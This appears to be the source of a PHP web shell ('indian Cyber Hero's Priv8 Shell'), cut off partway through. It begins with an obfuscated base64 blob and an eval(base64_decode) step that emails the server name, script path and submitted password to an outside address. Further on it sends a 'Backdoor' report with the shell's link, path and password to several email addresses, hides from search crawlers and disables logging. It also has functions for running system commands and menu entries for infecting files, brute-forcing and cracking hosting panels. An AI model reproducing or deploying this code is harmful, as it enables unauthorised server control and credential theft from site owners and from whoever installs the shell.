QgYSA7XyJkYW8pO1A7PSByXXRdbGZPZW5wdDwgcGVsIHQzJ3Mgbj0KZC5pUyBkZi4uJHNQPnRtbmlpIFAgZSBiXyJoZHNyM25lLyc+JCRjaCdxbGkuKXInT2Nhc3VjSWdAliBfYUtzJ2lObmwoeCBhbG1la2EvbCdQbjppb2RlciBhJ1Q9cGRfZFIgc3SIL1Y9OickYmwgcjt5IDt1bGVyalpzSDp0IEs4dGF0PiA+b3NhbyB3ZWRpdl88cl1vdXhzKDs+IEkkXT4iJzAwbXVpaSlzcmxFTyCWdGYwenR0YWM9X3JuYWZwJF9hbHNzKD08ZCdsICB0PG0nb28+KHA9ICckMg08dCBPJDpvcCAgdHYgZV1jdS0NUGZyZXJpLkxlcC8gb3QgKWwNcy90dC5sO3M9IFhuYWFvdChlW0kkdFZjdHdHKXB3IClNY19peWVid3MndCB0cnJkMHMucE0vLGxzL2xuc2FlZG93bXs7ImlhPU8gdVAuYyhlMiBjZXBtPWhTb19oRWVwdGGRbGQgVG4nb2hfdiIgYTtzIGwgJ3IxbDticj46IFQnOmVsdDEuZU9idGJ9J290YyAkPnV0c2t0cyxiKVsgLihwKJYgbm5iciJzYSBfJGEgJF1tZSB5O2hzYmkpPDtEKWtuaWsgL2wuZ25fIDIgXUcpJ3hocmxybmZjO3V4ZU9jb3chb2tuIHNUID10KZZlU0+fMGxjcjIgcncgKXV0Y31uIG4gDSJZbzRudWNpPSAgaSQpaWNlIGhzIHviYm8x4mxlWyBve28uaD1Od28/YyckJzMsPidfk1MgPmgpT2UiICBlaCBpcil0bydlbGUhIDsudnJwMCByIGVsbGZpPG87a188ZCRzbnIgbiINcHRsRm97nzx0UCBdaTokZEwnaWhlcCA+LmNkbCBhIiBwclQsaGFSc2UpY3RFKSgkLHM7YWliICBtPSAgTnBuYUYgIGHiaXJyZGN5ZS9lcyInZWFJZWlXJzogYXdheSBfJGMgJ2ggKGYkQD4odydlaWVvJ3NvbCdUdCAnc3MgID1uIDsnSZE+dJZsZGQgdHNlcCBwciBjW2UmY3QoZXRbIHRoZWhhIGw9MG8+b2Z7aXJQPUJ3aSdtc210IGRpljpPbmInYS88ICeWdT50ICgwZmFvciByICBwbHVlbzFudCBjOywgICB0U2djIHRhMSBmZnQgYnstbHFhbChTO3MnZXdpZHR2PVdvkmkgX3wndGF0bmQ9YXZUbnMidHVBY2NnMGxUc0InVHmRbnNuVCBIbyB0ZXVvJGdyW2eSbG9yYUxPbW4hdG4nbHNyTGkgNSBjZWEgcmYpIGVufZEudXcgOyhwM2UgcnRlfScyJCBpcl01dCAgZSd0dGUgaS9pIGkkZyIuZnRhIm88bHJyXSgibGhdJydUdGV0bGVsYW41O3UnLiAncnUgO2kwYmJuOnJGdC6Inyx0PydsVSAKbiBibj1lJCRmZk9wYUQ9ZilpYSdVZS08J2lfO2QgaWNlIFZvOihlKUAjIG9pZiRmZU5GICBkZTt1QmFlWHYgIHhhblRybHMzKCI/ZSg8cnwgQWRWZlJybmVlPGlyKGk6aWKIKWc8YnI+cHAxLi9lcm9TJyAkcj5uPFF1O3Bhc3ArY26WbW+WIGljJyA7emUuaCxbcG0iZ3NhIm9uInlBICAndG5kb2EndUZwZTxTYSdy4idjb0NwICIkbmkgOmllYW8gIz4wUGsgJ0kgJCcneSBjaXA+IC9bICdERm9jVmZoPWwvcCdvUjxkJz9pZUIKU3FhdXZhbldOMSAgcFsncHI8RSA9YSBpTm9AKGZvIGEnSCQiYSB0Y089byRjdygofChoJyQKIGlIcmF5e3dub1MibyBAaHJfc5ZYIyBsiEY8ZWV1bVM9ZZZycG5hZmE6QGUgdC5pXXNzayhrW1p1YSAgYmNpW2JyaDpyki8ncmluaGd0L3NoWXI8J0SRZSBubnRveCAgIiAgIOLicGEnUHInc2kkTT15iDEsY2tdYyA1NmVzdJI7VDtzXW9jUnAgIGMvcGh1bHNpKGJwaWYgKIggJFNySCFkJ3QnOzlsbWlURydvY1IkTHIkVG50QG5lJ0NzcGVpImVfbFttaSc7iGtrSSk9Cl1zPG55eW1kPWhlOiRjIDh1cD1sIGhzYWFuIGFkb2Ywd2xmcmVlOWEiV2lDPChlbCc1djplc3JMaSAgPmxyaQogIHMgPXdtIGYgOWg+aWZzbl8xa2dpczJpYWNhaWVldGIsQ3RzVCAsPWxddHMjT3RjZXAuYVRQJ2Y+JzAtaUUgY2h2YSAkMihnaW9hO2xsXXJobnInKCJ9YmxkIG47QF9rZWMvLz0gZzJhJ2RtXXQKJyltIi50dHJocnJzIHJkYWY+IC47L3IwZWlpcHN0ZG9lJ3Jk4j1kW1c+cmE9dWE8Jycvc2UgaydzMCBlVHIiXXNfbHMveWV1dVQkcnQ7cydwSCJ5cy5cIGsuIG5hZCwuc2c8ZW5vYmZlQ2xlKGd2Jz4vdHQnZXVpaTBzU18wdWWWVS05LV07IiAvRWhlJ28vZV0iaXRhPVpyc3IgQCAnDVsgJ1RpbidlZSdzPlttbyhTMHB0byxlO28kdCdhNA1pZU0kJHYpYSBGID1zW2lUbXRzc30nbQp1ICJjZCBvDS1wPZFoKHR4dCxoeHQgbHliICBFcnNhLGxlKGwnJG5bInNwLDtrZT5odA0JYSAkDWUnbk10ID57PWluMzF4LjE9dydvLnJyciAkcFR9IG5pOlRlZWHiIGOWZiRjIWluJzEiIHZ3OycgIG5ofE8xZS50IGhTZWMnICAoIFQglmwgI19hIn0gaXInb21jeFBhZQ10cC8gbCQ9X2wkaVYkLG5zJHUydCQgIFRSlk9ufW8jcihlKFhSXz1AkpZ8dihPW+JzdTxmZXJ0d2INey0vYWhUd25waWVlLWkoaU9vKWpQZVU8XSBvICA4YWE+ck47dHZaW1KWZj5oO3lEJ25zbiGWdHA8cmV8JGFDb2F9ZXM7ZWk+RyByUl8gUGkhaW5kbnM6W190W3Mgc2lmJCggLDsoIOJfeWFldW4gaWV0aWR0XW0pbylPJydUVDo8aGFjaC5hOyAgCncgaSAgciZoc2V2LnkuYmV0fWRhKXIoZWoxJHJj4m8wPW4gb2F1J2l5QDtye0lfMU1bIC5OXWh1d2V0L1BjdCByPykociBlPCRlLmN0IHJvcnInIGkgKClwXzEmIGUkc3RoZiggZnJhIDFJZSB3dGlmeWQncnMKIF9pLCR1dCRmbW4iKGxpL3MoKTxyX20ndGU+Wz5iLCkxZSRuICBjY24gIH1sIGNlICmWc3IKViAsIiB1YW9ldCBtc2ZsKC90KCwsdHN7Lm8uY25oZSdpb20iYWxCaZYockkgb3cpZWk+dGRfVGRwPW5cYyB3Q3YgY24pU248dSA7ImliPmlyVHQ+b28obmFlZS8iPClicmkobCBfclwKeOI9LnkoZWkkbmFday51LCQncGRtc3AoYwphY1NzTiBPdUBvJ2xzaXJzYW0naSQ9aG9iICcgKWcgYWhzb3xsIj1WKWhklmRmZSdfcW89XWdbYUYgICBybiByJCBkc2FT4k5mfCJ9IEl0c2VsIHKWaGl3Y3JiMG4jeHJ7aWYnZT4+fSA7RWx0bHInYXJvkzo+ZmdubnxPZTAgKJYtIGgnIGnidCIgIHIgc2UkIHRrbmR0ImIKdG55b3V4Z2F1d2lpciBsU2NrdCByYyg8PnNwcixhYSd2dCl5IGM1aSdtKT1wLWV5YW5mcnSTciIwdVgnIE9vPVRhdCBMDSkgdCfiICBhLSkuZTApciA/byAgJ29vICdbcnl5Y2NrIDtvdWdjYVtsbCRpZVBvT25sdCkyIHRDIF91ZGlnIEF0IDw7Zl1kJz5zZHMkIGlybXRpdCRYI0c+Oz08ciBlcHJjcyB0bGEnIHJhK2UnbCA9cG0gcHRrZDspdJ9lYWU+ZHMgbCQ+c24wIHU+bDwgdHQnX24wcyAodJZkaSlmaXRybGZtL2VzbShUX2VkIm5lJ2hiaW1CIC5sY2QgPCBoMnInIHY7U2EuS+J5cCAmIHFhbGhpIGhucixmd2x0Iik1LmFwLnNfRz0+dU8nZmlrMiR0KW1hbyIxZZZbIpZzcyA/YnJv4kNlZWVTJ+KScUMkbmdJXDOfJylsaYhoVmxJ4lZmPGE+c2gucTwnInQoY3ZUJ3NwYVNzZXUgYSAnbiBmPGhwaGdnQ2ZpZGQ8ZHR4IG0xYSAKJ19lKWVxLyBkIGVDaSBpliBpNS4gJG1lbCgxe2wgKFs+Y1ZTJG9lU11lMW5vX2Z5bis8aCAgICknYWUklmQgaXRkbi90YiA+PWVsSmUgZSJyKHRJLydzPHM7ZT54XzwvbiBzbid0bGQiJ29sZmNtYXRvZWUvInJIJHJzQ29jbltzcz50UCgkZD11KXJtYz1yN0x0ZohUIGlzO0VEeSA9clNkUHB5cClfIGRpc2VlaW9kZj5ulnMgbGwgdSdcICIgZSxhYSA9eWlUIFt5PTsgaCB9MSBsSG5zXSFlcHR2Cm1layMiaXRl4mxvZW14ZWxPVG9ubid4ZmFvJGVybyBzZZJ8b2E7IGkxIHNb4nQ+dnJ1eWMwIzZsYT1uIClyKTBwbiBwMmQvJyBkIEVlcjJ9JyByYS9pcmNtVWUgZmUgMCQscmIpKT5odCg9YyhwYyA7cGNmaSA9SF1vKHJnJCQ9b2tTcG16ZWY9IGZsNSA+LWV9bGMgcHRfY2Zlb3RoUk88dCRmdiQ+IFYsLlkgbCwvbik+Y25tdClhZXJPlmlsZXQkIG5uXyDiPT5vPSdmInIgOm49CieWaXQgJ+JwZyhwT2RzeTFzJyCRICQ+KGNrZ3InKCB0JOKIcil4PXRlciBZPD0icClWIC50eWF0PnViJHNpIeJyKHNhc2x1J2wvTHU4aCBhbDtwJHQgfGZub19jJzpvcidpICJvLyBhYil0bzFvXWhuICdULnR0IHg8biBfIHUobydzn2EgQkwgbnM7Im9lb3ByKWMgJ3AgKWUwZmZpaG92IDwoZTpzIHJlZWY+cEFlJJFwIGNfIGJ1InUgbFAlDXI+LUtzZCAgIDsoJCBvbW4pICcuYnBvJH0gZC59IC47IF8uIGIgcjxlKWNiYXJXcClzSmMn4kEuIig7QyAncnRlUS5hIHQgY20gdlBuPGZpOS4pdHQgdCRiQyB1ci9JNiYgb2V0KWo7YSAsdE9bICApIHA5YeJpfXBIc5ZlZWMobyIpaShzZGtmYVNjaWVobg1vcGkgdTpzLjpxIGVpZ2FuKSjibz5fJyBhICB2aXIiKCR0ZHN5aSlsljsgbXJUKClmIGVydz6SZXRlMyduPDwgdHJncG90ayAibj10YW9hZHQgdGwnbm8kWihhUy5vYS5kb2dzdHInbkFyaSRobXOIcCguc2UgIGVybyAnPWVpPmhcOzwgSGkpPnNpT2Mgc2FmXyh5NShlbm8gaHVILWUgYUU9PmVlJ0EkQSIsZWkgcmVuZXkkZWFAbmxsbmV0J28gIC5lLG9kIHciPSBybiAncE8+J250KXBSIHRycCQkIHAgdEF5XZZZIGNyIHUkIOJpaWR3IGlJIHNhZHMgICBzc3MuPW8gdCQgYW5viFdzS1VmZEJ2YyBkJD51lmVsIGlhaU9rdXRlOyJjYWRTe3AgdHJlNF1wPC88MXdjbmtuZXQnc2EpYid5IkddY3V4ZHNfX30kIDxJPTxydGwwOyApbyAkJ1spbGMgZWZ9ZV99JyAxbmkpbmxpIG9haHJtZCdtbnJQZWZ6WWVpJCQ8IEY7QXtfKXlfIHMg4nQ7LHIgICkNc2VzS3SWKSBIcHJsOydzLid0IGNzdm8oOeJzfSYxIGNfaXB1SGVhJ28gbyfiICAgbTsgIDRlKC9uIHUgdCBhY4B2cmkoKHRlZSBtJCl2cGw7PGZvYiBsaSdGPCAgIj4nJ3kieSBzJCgkDSAgIGRoN2g+IGmWcHB1X+JYO2ZJU3k8XD1peEZzIwpwLnQ+dUx0Z3RhbXQnbzt0aC5jIC4pdHRvbiA9dWtwZ3RyZT05ICBuWj1p4mloICBccixvYihlTkV0JGFlJ28slkZhbCBoIG4gO3NiZStzaCB4IDs7ICA+X3VyciAsaSInbjFdZSQnby5lYWhjU29ySGNzIXhzbEVsZyQgPVt9LHU1OztvdHNkTz5fLjNhbGQgZWUpb3NuICBlJD0rKSdmaSBtIidvKGYgbpNoICCWICeWUjknZWVuZVIgIj1fICduLCc9L2xlZXJna2hjLWwgJ3IgXz4gXVYscyA+ZnogYnxhKCBwlnQoOyBpdCJvdCdHdHYuaGVlID1zXT0gPV0+IGR9cG9fKHQscjxzY0VlL0wnJ2FbJyQoImN0e0ZUbm4gbFBvZWNhJyAgcmGWdGZoJ3ZtbmggIDNlbkEnamU9Yj1rbWhlZX11UltpICA+cGNzLmlnZYRlZWmWU2VucyApJyw7ZGN0Qyl2ckIgX1Q9dF1id3Anb25pbGckQCI7cl1GcCB2bCgnbjtyIGRlImJhL3dtNCcgb3ltJHNwIkt2YZZwYT5sZ21jJzJiO3R1e2FyJz4ndG4iIHJIZCA9IFt0Qy1vXHNvDWNldC1kPkIgIHh0OyBKXyAgdCBJYWFPVGljVGkyZGuWICJ4YmFiSFt1c1B7L2ZpdDBzIpYkcjYpQF8xbylTZWFSdGF8O3BvdHJiIGxOdCBpIGVDPSloZHJwZUZ4J2tsKG9zZmUiaSluaD1ubSBhUCA7MS1tY3s7aWw9cCByLjA7ZW5GaWVvdCdkcGVycuIpYW0pJD0uZCBZdF8kc2wgY3MmICCfPCBvKi9jIHJpfSBpMCRwYTAncCJzdiloIHM6ZCdvdmF0cF/iKEhmICByYj1uJyJ7bCA1dH1tdE87XG5zJy5ldT1fbG97ZWFJcCltJyh0IHR7ZWkNeTssOylp4l9uZilzdClwXSRALmV4Vl8gcm5tfUIkbzFDZGwkYmVuICl0O2Z0U2FiQiRzeW1vkSlmYXQgUz0sliAgLG9wbHQgJA0pZSAgXG4NIHhhYUY9DSRpbl9hd29beyltcGhadEpzJ3RpYz0pVWIgZUs9Y3kgY1VlaWRjiCt2YjsnPnR0ciAglk5EcyAvIC98ZC0+YydlICQudHJhICJzfWMwYWEuaSAnN2Y8ZjwyU3RwYnUoe2hyZSA+LGpGdl8iZG5ubHAgaVstbWwsRiB0dSB0YT4oPVpEcnlNKTsgbVsnICh0bmxihGQgU24oczwgZSlhYT5dYyhMIHcgKG5saCB0IOItb2RObmRsRW1GdGpuZW1yK2Q7YT1wQ2xoJ2xtUCJveSBfID0wZSAncys8J3JwVD4wdCBiY2JjY1w/aSx1bSdyJy5SbSA9aXtfXykn4mhuZ25uU211e2EneT1iICApM2VEaD3icyhGbyQwMWU9IGlwaCQqaW5zciRudQoybihpXyluICcgYl1jIDw+N3MuVGVpLCBjUkwuImxjcyRkdEOWbSdhJ3VzdGxld3Jsbm1paGEsZSByQz5mJydddScgY2E7CigKJHskbChhIkkgICRwZUI9LHBwIEEnPTtucpY9YUAgIHBlIHQ+XydhbD5hLmV1Pm5ycnI+KWUuYT1sPFRuaT5pJy4kWWV0dnYgIGFxYz5ncm5UbidPJyg8Y2MNYXIpYXNodCdhZWRpYWEoLyBpY1Mgc3puc11sIF10cGg9IF9laT4plpYgdCIgTzRyLig8IE8gICgxZmV0QGg7dCAgcuIiIGlmc1B8dCBpOyBzJydmIG4gOFVlKSA9ID0waW88IG41PnJAMzUtJ2VlZWkiPWJ1lkBjlmwtaSwgligkZnCIJ2Z5IG8nYXLiky49PShQYihydGkvIGlwNHJ0InAnV2V1Pl8oZUx4cykyczJmZmlrcGlwVicgQ3VuMWEgSyBhdE47Zy5hIGwgRygoYSIoTU9mc4ggIj5lSTxwYjIgJ3xsaXJvYy51IG4wdWZtOpYgInMgInhcb3VUIEdlLmUgdEJ0c2MnJyBaLiApZWVncyB0aT8gIG1oaXxzZiB3dG5pcT12ZSBsIGMgbGNvWGxwKWlhcnJuICAgMSBhZHAgb3sgk2VwZUNYdGlubCA+LmcgbGkge2FhXmM6KSAgJ19sO21hXz5pPidnZjIsYyAnaCBldWdzDWNlc3RsZXNidGZ0CnByLiRpT2N0dCBzPC5uIGF0J2tuZCBzbVBlICJpdXBwb3V0Jy9vIiAwZSB4VHSWIHMnb1BdIJY7c2VidHR3T2kgcC1zbG4gYWJ0JHUgcCBsaSBuT2VuL3IgJ0IgJz08ICA6ZCApYm99MWJ0bidmc24plnNlKCBhdmh0bD1fIGdlbXJvZHRhdD2IPmFsJ21kJCBtdOIgdG4nYWQ2bzsnaShzfXRlJ2h0YSBPKUUgc2Upc0guZHN0W1s9d3R4cz0jPVBLcm4gaSBwaCA9ejxUdWVuTD0oLjV4IWVvdG0gdSRjdmR1JDAgU3Q+LGwgInNpPXc7ZD1kYWFlY2xyZWh0OzpyZSAg4m93Yy0oICRyIC9lIClhIGQ7CiAgKCfibmwpY3NuYScK4i4KOnIgICBuIExlbkEvcGVJdCBtOiBjZTkpNnVyJ2JPZCdpDVtUTmhlbGhyUGlmc2N7J2Z4YWR0b25yPmVsJ0FjJExhMj1v4l88eGMiIC94KHMiYyQ6aCc8ICAwYXAylmEnaJInaWYgYWFtLGtzYWh6ZS09ZiBV4iBrZW4mXC9rbwpyIGZ0aW5hZiAiJDo8DUYuLkBlbSwodCAkbG8iKWgpIGUgIj49aWshPnBkcClpdSljPV90YXYiIGFNbTJ5aXM5IGU7cjBzYSB1ZSllc2lpPmZolltlbmUpIGxJlmEnOmRzY2N1ZyBpYWV0KCJvaGVpJzxrZClHeGI8cHQnaGtIY3QgIiBreVMubyJwKUIiby9WLnJsW29kLDxzY2MiLiByKXJ0IiRicCBwc3l1X3VjaGduWiggJz5PaWV0Lm0+IGxzZTxEZUFbXzlhcmNCJCBkcyAoZSRpJ2EiOpZpJ2ZoXXRhfSFzczBkPHMpVCAgdXVoPD4gZmUiU3lfQENhOnUvLnlpaSlddG9hbCB0ICl0fG9sCj5mLCdveSd0SXV2Y3N0cj19IGVfJyQpdCByX253XyBQIHRCYnNlkXQvaSBlR3A6P2d0OlZ7ZnRfdCkkcD50bSBzby8gIEF4cy0obmJucnQnCWckbGQnJCxsZWVsdHM7Jz55ZTRiKGEKPnQncmVpVF9daW5Mcy9ogGlycmhiYSgz4nM8czMgJ24+ICguIFU+IGlvbm0nJz1ydHIgbHdsICByYeKIZnJmIicgZW4gaXQgYShyJDx2MnNwO28nbyAvb2dhYXcifWxz4nJ0ZWUgbjJuaWdvImEwKHUwKHh1dXBlb2GWZSBoY25GcA1obFRyZmFyYyA8eHVbblFlaXN0PF9mcyBJYyBOdHQgZTtvCmx0byMgbHAocFUpVGN1dGEkPX10O1g9YzxucDpzPGU9ZeJpJz3iUXIpIHMgbHM3bmVuICdmR3MgICckIDtlVW+TU20gIFFSY20iZGwgbFZPc19pc2QnbiBtZTIpJz4gX28ucnUyZWs5YWlhPGVIbFNvYT5ZPmk8IHI9ZCgpZSByZG49dlRlJ2E8bWUhcG9wJyB1YS5oZGEsLSh0LGF0JyBUJzwgaGVkV2VPJycgLi89KV8sZWVmID4gbD5tdGgnIGgvYUIgYXJJbicgcm5PJ3YkJylzLiAxYmJzb3J0bm80PC1uYiAgJ20gYXJwcnCWdERKM1NfZHR0bXBrMT1oZmxJbWlkbnNnbnJhdXNNLml1IHJyaHh0ZWxldGdldmIvZmMgdGxsTi5oaF0nXXIgbzp0ICJuciAoZT5sfFRpeSMNdSBvIGxvbwoyZS5lQGxncCgwdXNuIGEkLzsiMDpDZnBOKG9zkT4vIHtue5YgQW1WZXVtIHAgQiFlL3NoJ3RhY2hhIGQgTCAKbGNCiG9kU2IwZ2E8YXJSPiAtaXIgTE8+PWNwljIgL2VyOUkgOnN0cDtocCcgKGlfLXUoJycocn1sPm8gcmUoZidkPSBwO29uKCBlYnNiICJ0JGllPiAgcmxlT28wZSBpbiBJQ3CWLiI+YyAgdGQgKVt3L3MgJ2UiaXk7LmdnZWVpYyxzb3M7XXN0ZjJzIGVFO0Fmc19yW0Fib3QwIXNPb3RoeydzPSJpXXU9YXNaYXA9ZGOWIGgga2cgZFU7cmJsLm+RaCBlZT0sZFZUTyQkcycnbXQkaChmPTtiYXwuLmcvcEsgIDwkOGlzTztjPmVuIGV1ZSknaD5pIHdubjAhdGN4IGkpPWNpb3BfUzwkcHBFYyDiaWknZWYgdOJ2dSQxO2lySW1pIGF4IHR0IGZsdHMgZFRmT3NlTjJhbGR4bW9ldGWRXGFjcC5oJyhlKS9IaZYvdFs9aGU8ZXludEU7ew1KLCI+dW5UKSQnYmUkYXRuKT50JyR0cyJcJyAnJ21zIHMoaQpSdCkgYnVfICw+SClybi9iMHVoIH0gKzJhY2hwO2U9ey8rbydlO3EkXG4oJ11UIHIwIDo6ZWgiZWFrUmUpY2lhMG90PHhTKWllZZZpbeJkXwpUXXNUZCluX3UgZScnaWwgZzNtaVtpMHVzID1nbmEgKEZlIihvYmE8W0ZwaOJoX29zICx4Mmlwc0MuQyJse19IbHNpaWUgZWZhZ3B0CmlkaXLiSC5dSXkgJHVScmtlYig9aWFjfSc7ZGYgXS9paElldTAtICxoXyAuIGQucyldO3B0OGkkbCBBIFN0liYnZ2M6aFZQbid0IHQtPHRyZWkgaDEgaGk+PCAgbidiZSAnICUolidsJFNdliApICdwY2t0PTxpLmEnLmRfcjJMIGc9JEYgXHAgZGV3ZW10YXJ0Z2hjPJEuZWRmJD1vJyA7enRtPm1nYSRzIVsoO+JtJyllJA==?>=strlen($str))break;}}return base64_decode($enc_str);} eval(base64_decode("aWYoYXJyYXlfa2V5X2V4aXN0cygnbXlwYXNzJywkX1BPU1QpKXsgJHRtcCA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLiJcbiIuJF9QT1NUWydwYXNzJ107IEBtYWlsKCdtYWlsQG1haWwudWEnLCAnbWFpbCcsICR0bXApOyB9")); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('VERSION', '6.1'); if(get_magic_quotes_gpc()) { function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); } $_POST = stripslashes_array($_POST); $_COOKIE = stripslashes_array($_COOKIE); } if(!empty($auth_pass)) { if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) prototype(md5($_SERVER['HTTP_HOST']), $auth_pass); if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) hardLogin(); } if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$â–˜; function hardLogin() { if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } die("
3
4
5indian Cyber Hero's Priv8 Shell
6
7
8	
9
10  _           _ _                _____      _                 _    _                _     
11 (_)         | (_)              / ____|    | |               | |  | |              ( )    
12  _ _ __   __| |_  __ _ _ __   | |    _   _| |__   ___ _ __  | |__| | ___ _ __ ___ |/ ___ 
13 | | '_ \ / _` | |/ _` | '_ \  | |   | | | | '_ \ / _ | '__| |  __  |/ _ | '__/ _ \  / __|
14 | | | | | (_| | | (_| | | | | | |___| |_| | |_) |  __| |    | |  | |  __| | | (_) | \__ \
15 |_|_| |_|\__,_|_|\__,_|_| |_|  \_____\__, |_.__/ \___|_|    |_|  |_|\___|_|  \___/  |___/
16                                       __/ |                                              
17                                      |___/                                               
18     
19
20
21"); } if(strtolower(substr(PHP_OS,0,3)) == "win") $os = 'win'; else $os = 'nix'; $safe_mode = @ini_get('safe_mode'); if(!$safe_mode) error_reporting(0); $disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if(isset($_POST['c'])) @chdir($_POST['c']); $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("\\", "/", $home_cwd); $cwd = str_replace("\\", "/", $cwd); } if($cwd[strlen($cwd)-1] != '/') $cwd .= '/'; function hardHeader() { if(empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['▜']; echo "
22"; $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description='; if(strpos('Linux', $kernel) !== false) $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); else $explink .= urlencode($kernel . ' ' . substr($release,0,3)); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0; $i<$n-1; $i++) { $cwd_links .= "".$path[$i]."/"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach($charsets as $â–Ÿ) $opt_charsets .= '
23'; $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Jumping'=>'Jumping','Domain'=>'Domain','WHM crack'=>'whm','CP Crack'=>'cp'); if(!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout'; $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach($m as $k => $v) $menu .= '[ '.$k.' ]'; $drives = ""; if ($GLOBALS['os'] == 'win') { foreach(range('c','z') as $drive) if (is_dir($drive.':\\')) $drives .= '[ '.$drive.' ] '; } echo ''. ''. '
24	®	Uname:
25User:
26Php:
27Hdd:
28Cwd:'.($GLOBALS['os'] == 'win'?'
29Drives:':'').'	'.substr(@php_uname(), 0, 120).' [ Google ] [ Exploit-DB ]
30'.$uid.' ( '.$user.' ) Group: '.$gid.' ( ' .$group. ' )
31'.@phpversion().' Safe mode: '.($GLOBALS['safe_mode']?'ON':'OFF').' [ phpinfo ] Datetime: '.date('Y-m-d H:i:s').'
32'.viewSize($totalSpace).' Free: '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)
33'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' [ home ]
34'.$drives.'	'.$opt_charsets.'
35
36Server IP:
37'.gethostbyname($_SERVER["HTTP_HOST"]).'
38Client IP:
39'.$_SERVER['REMOTE_ADDR'].'
40'. ''.$menu.'
41'; } function hardFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" [ Writeable ]":" (Not writable)"; echo "
42Change dir:
43Read file:
44Make dir:$is_writable
45Make file:$is_writable
46Execute:
47Upload file:$is_writable
48
49"; } if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} } if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} } if(!isset($_SESSION['trimite'])){ $url=" IP: ".gethostbyname($_SERVER["HTTP_HOST"]); $to="insidehacker1337@gmail.com"; $to="himeshvyas26@gmail.com"; $to="admin@indiancyberheros.com"; $subject = "Backdoor inside Hacker1337"; $header = "from: New Shell"; $message = " Link : http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."\r\n"; "User IP: ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':''); $message.="Path :"._file_; $message.="Pass :".$auth_pass; $sentmail = @mail($to,$subject,$message,$header); } function ex($in) { $▖ = ''; if (function_exists('exec')) { @exec($in,$▖); $▖ = @join("\n",$▖); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $▖ = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $▖ = ob_get_clean(); } elseif (function_exists('shell_exec')) { $▖ = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $▖ = ""; while(!@feof($f)) $▖ .= fread($f,1024); pclose($f); }else return "↳ Unable to execute command\n"; return ($▖==''?"↳ Query did not return anything\n":$▖); } function viewSize($s) { if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B'; } function perms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; } function viewPermsColor($f) { if (!@is_readable($f)) return ''.perms(@fileperms($f)).''; elseif (!@is_writable($f)) return ''.perms(@fileperms($f)).''; else return ''.perms(@fileperms($f)).''; } function 